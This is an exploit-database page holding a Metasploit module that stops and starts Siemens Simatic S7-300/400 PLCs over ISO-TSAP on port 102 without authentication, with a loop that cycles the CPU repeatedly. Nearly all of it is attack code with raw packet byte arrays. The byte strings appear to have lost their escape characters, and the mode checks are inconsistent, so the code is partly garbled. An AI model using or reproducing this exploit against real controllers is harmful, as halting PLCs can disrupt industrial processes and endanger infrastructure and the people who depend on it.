[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Siemens Simatic S7-300/400 CPU START/STOP Module
# Published : 2012-07-14
# Author :
# Previous Title : HP StorageWorks P4000 Virtual SAN Appliance Command Execution
# Next Title : Symantec PcAnywhere 12.5.0 Login and Password Field Buffer Overflow
# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
'Description' => %q{
The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
this modules allows an attacker to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and START, allowing an attacker to end process control by the PLC.
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'May 09 2011'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
], self.class)
end
def run_host(ip)
begin
cpu = datastore['MODE'] || ''
cycles = datastore['CYCLES'] || ''
stop_cpu_pkt =
[
"x03x00x00x16x11xe0x00x00"+
"x00x01x00xc1x02x01x00xc2"+
"x02x01x02xc0x01x09",
"x03x00x00x19x02xf0x80x32"+
"x01x00x00xffxffx00x08x00"+
"x00xf0x00x00x01x00x01x03"+
"xc0",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x00x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x40x00x01x84x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x21x02xf0x80x32"+
"x01x00x00x00x02x00x10x00"+
"x00x29x00x00x00x00x00x09"+
"x50x5fx50x52x4fx47x52x41"+
"x4d",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00"
]
start_cpu_pkt =
[
"x03x00x00x16x11xe0x00x00"+
"x00x01x00xc1x02x01x00xc2"+
"x02x01x02xc0x01x09",
"x03x00x00x19x02xf0x80x32"+
"x01x00x00xffxffx00x08x00"+
"x00xf0x00x00x01x00x01x03"+
"xc0",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x00x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x40x00x01x84x00x00x00",
"x03x00x00x1fx02xf0x80x32"+
"x01x00x00x00x01x00x0ex00"+
"x00x04x01x12x0ax10x02x00"+
"x10x00x00x83x00x00x00",
"x03x00x00x25x02xf0x80x32"+
"x01x00x00x00x02x00x14x00"+
"x00x28x00x00x00x00x00x00"+
"xfdx00x00x09x50x5fx50x52"+
"x4fx47x52x41x4d"
]
# CPU STOP
if(cpu == 1)
connect()
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# CPU START
if(cpu == 2)
connect()
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# STOP / START CPU
for n in 0..cycles
if(cpu == 3)
connect()
# We assume PLC is up and running (issue a stop command)
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
connect()
# We assume PLC is has been stopped (issue a start command)
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
end
data = sock.get_once()
print_good("#{ip} PLC is running, iso-tsap port is open.")
if(cpu == 'true')
print_status("Putting the PLC into START mode.")
elsif(cpu == 'false')
print_status("Putting the PLC into STOP mode.")
end
disconnect()
rescue ::EOFError
end
end
end